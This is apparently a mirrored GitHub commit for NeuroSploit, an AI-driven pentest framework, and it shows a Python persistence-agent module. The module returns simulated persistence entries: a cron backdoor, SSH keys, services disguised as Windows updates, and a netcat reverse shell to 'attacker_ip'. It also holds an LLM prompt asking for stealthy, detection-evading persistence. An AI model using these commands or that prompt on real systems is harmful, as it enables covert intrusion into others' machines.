mirror of
https://github.com/CyberSecurityUP/NeuroSploit.git
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NeuroSploit v3.3.0 — Autonomous MD-Agent Engine
Re-model the pentest agent into an autonomous, markdown-driven engine that turns a URL into a full engagement and delegates execution to a locally installed agentic CLI backend. Engine (neurosploit_agent/ + ./neurosploit launcher): - orchestrator composes ONE master prompt from the agent library + RL weights - backends: auto-detect & drive Claude Code / Codex / Grok CLI (+ Claude subscription); headless, autonomous, isolated workdir - mcp: Playwright MCP (.mcp.json) for browser-based proof-of-execution - rl: bounded per-agent reinforcement-learning weights w/ per-tech affinity, persisted to data/rl_state.json - models: latest registry incl. NVIDIA NIM provider (PR #28) - cli: interactive URL prompt + one-shot `run`, `backends`, `agents`, --dry-run Agent library (agents_md/, 213 total): - 196 vuln specialists incl. modern LLM/AI, cloud/K8s, API/auth, advanced injection, protocol smuggling, logic/crypto/supply-chain classes - 17 meta-agents: orchestrator, recon, exploit_validator, false_positive_filter, severity_assessor, impact_evaluator, reporter, rl_feedback + migrated expert roles - scripts/build_agents.py data-driven builder; REGISTRY.md index Docs: rewritten README.md, v3.3.0 RELEASE.md, .env.example (NVIDIA NIM, xAI, engine vars). Retire legacy Python orchestration (neurosploit.py + agent classes) to legacy/. Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
This commit is contained in:
CyberSecurityUP
Executable
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#!/usr/bin/env python3
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"""
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Persistence Agent - Maintain access to compromised systems
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"""
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import json
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import logging
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from typing import Dict, List
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from core.llm_manager import LLMManager
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logger = logging.getLogger(__name__)
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class PersistenceAgent:
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"""Agent responsible for maintaining access"""
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def __init__(self, config: Dict):
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"""Initialize persistence agent"""
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self.config = config
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self.llm = LLMManager(config)
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logger.info("PersistenceAgent initialized")
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def execute(self, target: str, context: Dict) -> Dict:
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"""Execute persistence phase"""
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logger.info(f"Starting persistence establishment on {target}")
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results = {
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"target": target,
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"status": "running",
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"persistence_mechanisms": [],
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"backdoors_installed": [],
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"scheduled_tasks": [],
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"ai_recommendations": {}
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}
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try:
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# Get previous phase data
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privesc_data = context.get("phases", {}).get("privilege_escalation", {})
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if not privesc_data.get("successful_escalations"):
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logger.warning("No privilege escalation achieved. Limited persistence options.")
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results["status"] = "limited"
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# Phase 1: AI-Powered Persistence Strategy
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logger.info("Phase 1: AI persistence strategy")
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strategy = self._ai_persistence_strategy(context)
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results["ai_recommendations"] = strategy
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# Phase 2: Establish Persistence Mechanisms
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logger.info("Phase 2: Establishing persistence mechanisms")
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system_info = privesc_data.get("system_info", {})
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os_type = system_info.get("os", "unknown")
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if os_type == "linux":
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results["persistence_mechanisms"].extend(
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self._establish_linux_persistence()
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)
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elif os_type == "windows":
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results["persistence_mechanisms"].extend(
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self._establish_windows_persistence()
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)
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# Phase 3: Install Backdoors
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logger.info("Phase 3: Installing backdoors")
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results["backdoors_installed"] = self._install_backdoors(os_type)
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# Phase 4: Create Scheduled Tasks
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logger.info("Phase 4: Creating scheduled tasks")
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results["scheduled_tasks"] = self._create_scheduled_tasks(os_type)
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results["status"] = "completed"
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logger.info("Persistence phase completed")
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except Exception as e:
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logger.error(f"Error during persistence: {e}")
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results["status"] = "error"
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results["error"] = str(e)
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return results
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def _ai_persistence_strategy(self, context: Dict) -> Dict:
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"""Use AI to plan persistence strategy"""
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prompt = self.llm.get_prompt(
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"persistence",
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"ai_persistence_strategy_user",
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default=f"""
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Plan a comprehensive persistence strategy based on the following context:
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{json.dumps(context, indent=2)}
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Provide:
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1. Recommended persistence techniques (prioritized)
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2. Stealth considerations
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3. Resilience against system reboots
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4. Evasion of detection mechanisms
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5. Multiple fallback mechanisms
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6. Cleanup and removal procedures
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Response in JSON format with detailed implementation plan.
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"""
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)
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system_prompt = self.llm.get_prompt(
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"persistence",
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"ai_persistence_strategy_system",
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default="""You are an expert in persistence techniques and advanced persistent threats.
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Design robust, stealthy persistence mechanisms that survive reboots and detection attempts.
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Consider both Windows and Linux environments.
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Prioritize operational security and longevity."""
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)
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try:
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formatted_prompt = prompt.format(context_json=json.dumps(context, indent=2))
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response = self.llm.generate(formatted_prompt, system_prompt)
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return json.loads(response)
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except Exception as e:
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logger.error(f"AI persistence strategy error: {e}")
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return {"error": str(e)}
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def _establish_linux_persistence(self) -> List[Dict]:
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"""Establish Linux persistence mechanisms"""
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mechanisms = []
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# Cron job
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mechanisms.append({
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"type": "cron_job",
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"description": "Scheduled task for persistence",
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"command": "*/5 * * * * /tmp/.hidden/backdoor.sh",
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"status": "simulated"
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})
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# SSH key
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mechanisms.append({
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"type": "ssh_key",
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"description": "Authorized keys persistence",
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"location": "~/.ssh/authorized_keys",
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"status": "simulated"
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})
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# Systemd service
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mechanisms.append({
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"type": "systemd_service",
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"description": "Persistent system service",
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"service_name": "system-update.service",
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"status": "simulated"
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})
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# bashrc modification
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mechanisms.append({
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"type": "bashrc",
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"description": "Shell initialization persistence",
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"location": "~/.bashrc",
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"status": "simulated"
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})
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return mechanisms
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def _establish_windows_persistence(self) -> List[Dict]:
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"""Establish Windows persistence mechanisms"""
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mechanisms = []
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# Registry Run key
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mechanisms.append({
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"type": "registry_run",
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"description": "Registry autorun persistence",
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"key": "HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run",
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"status": "simulated"
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})
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# Scheduled task
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mechanisms.append({
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"type": "scheduled_task",
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"description": "Windows scheduled task",
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"task_name": "WindowsUpdate",
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"status": "simulated"
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})
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# WMI event subscription
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mechanisms.append({
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"type": "wmi_event",
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"description": "WMI persistence",
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"status": "simulated"
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})
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# Service installation
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mechanisms.append({
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"type": "service",
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"description": "Windows service persistence",
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"service_name": "WindowsSecurityUpdate",
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"status": "simulated"
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})
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return mechanisms
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def _install_backdoors(self, os_type: str) -> List[Dict]:
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"""Install backdoors"""
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backdoors = []
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if os_type == "linux":
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backdoors.extend([
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{
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"type": "reverse_shell",
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"description": "Netcat reverse shell",
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"command": "nc -e /bin/bash attacker_ip 4444",
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"status": "simulated"
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},
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{
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"type": "ssh_backdoor",
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"description": "SSH backdoor on alternate port",
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"port": 2222,
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"status": "simulated"
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}
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])
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elif os_type == "windows":
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backdoors.extend([
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{
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"type": "powershell_backdoor",
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"description": "PowerShell reverse shell",
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"status": "simulated"
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},
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{
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"type": "meterpreter",
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"description": "Meterpreter payload",
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"status": "simulated"
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}
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])
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return backdoors
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def _create_scheduled_tasks(self, os_type: str) -> List[Dict]:
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"""Create scheduled tasks"""
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tasks = []
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if os_type == "linux":
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tasks.append({
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"type": "cron",
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"schedule": "*/10 * * * *",
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"command": "Callback beacon every 10 minutes",
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"status": "simulated"
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})
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elif os_type == "windows":
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tasks.append({
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"type": "scheduled_task",
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"schedule": "Daily at 2 AM",
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"command": "Callback beacon",
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"status": "simulated"
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})
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return tasks
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